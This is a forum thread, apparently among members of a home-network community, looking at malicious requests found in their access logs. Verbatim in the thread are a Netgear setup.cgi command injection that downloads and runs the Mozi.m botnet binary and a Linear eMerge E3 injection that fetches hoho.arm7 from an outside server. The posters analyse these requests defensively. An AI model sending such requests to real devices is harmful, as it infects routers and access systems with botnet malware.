What do you think this does:
GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+htp://192.168.1.1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1
Chinese have been hitting this kind of heavily... (grunged http to htp to prevent creating an ebedded link)
It possibly does a bad thing...
I'd bet on it.
My question is, because I'm not really well versed in all of this stuff, what it is they're doing. Are they trying to take control of the router? Make it be a kind of bot? Is it just simple hacking to get to personal info, or is it something more nefarious?
run setup.cgi using netgear.cfg then run a shell consisting of the following commands:
1. rm -rf /tmp/* - delete everything in /tmp
2. wget 192.168.1.1:8088/Mozi.m -O /tmp/netgear - get 192.168.1.1:8088/Mozi.m as /tmp/netgear
sh netgear - run it...
curpath=/ - ...from root
currentsetting/htm=1 - no idea what that means.
According to https://www.digitalmunition.me/new-mozi-p2p-botnet-attacks-netgear-gpon-d-link-and-huawei-routers/ and https://blog.netlab.360.com/mozi-another-botnet-using-dht/, Mozi.m is a DHT point-2-point botnet.
The real question is how it's getting it to install. Is 192.168.1.1:8088 is an exploit to mask the requester's own IP address and port so it's actually telling the router to get it from the requesting IP?
Botnet! That's the word I couldn't remember.
The real question is how it's getting it to install. Is 192.168.1.1:8088 is an exploit to mask the requester's own IP address and port so it's actually telling the router to get it from the requesting IP?
I'm not sure I want to know what it's telling the router to do, as it'd make me don a tinfoil hat and head for the nearest panic room, no doubt. 🙂
I don't use a secondary router, and I'm wondering, how safe from these intrusions is the HT wifi modem?
Anything that has a web-based admin/configuration that can be done remotely (i.e., outside of the LAN) is technically vulnerable, and almost all of these devices are no matter how current the firmware is. The fact that we're behind a double-NAT on this network isolates us a lot from those trying to probe via IPv4, which is the most common.
Most of my morning routine is going through an access log subset that includes just direct-IP probes, login attempts (and there are a lot of those), and the full set of webDAV (port 81) attempts. Why webDAV is even allowed these days is beyond me. In fact there's a bunch of apps out there with embedded malware that just probe webDAV access in various forms.
I've not seen any IPv6 probing on a large scale, because of the resources required to scan the full range of IPv6 IPs, but I suppose that's coming at some point.
@MarkJFine wrote:Anything that has a web-based admin/configuration that can be done remotely (i.e., outside of the LAN) is technically vulnerable, and almost all of these devices are no matter how current the firmware is.
Remember that hack a few years back with the Blu Ray players and DVRs? Ugh.
Sure do.
Hackers can find a vulnerability in IoT devices faster than manufacturers can:
1. Detect it's there,
2. Fix it,
3. Post an update,
4. And most of all, have an end user actually update the device/install it.
The alternative to an addressable IoT box is to have an off-device cloud intermediary (which is better for us behind the double-NAT, btw) - depending upon how secure that cloud is kept. My Carrier thermostat is like that. However, most of the ones I see are complete disasters from a security aspect, including AmazonAWS, Google, and Microsoft. The ones hackers love are the ones like AmazonAWS that use dynamic IP addressing because they're hard to block.
Here's new one seen in today's logs, coming from a bunch of Telecom Italia static IPs:
GET /card_scan_decoder.php?No=30&door=%60wget htp://switchnets.net/hoho.arm7;
This one specifically targets a vulnerability in Linear eMerge E3 access systems by inserting code from a Switchnets (Linode) server (again, grunged the http to htp).
Glad I'm not using mine right now.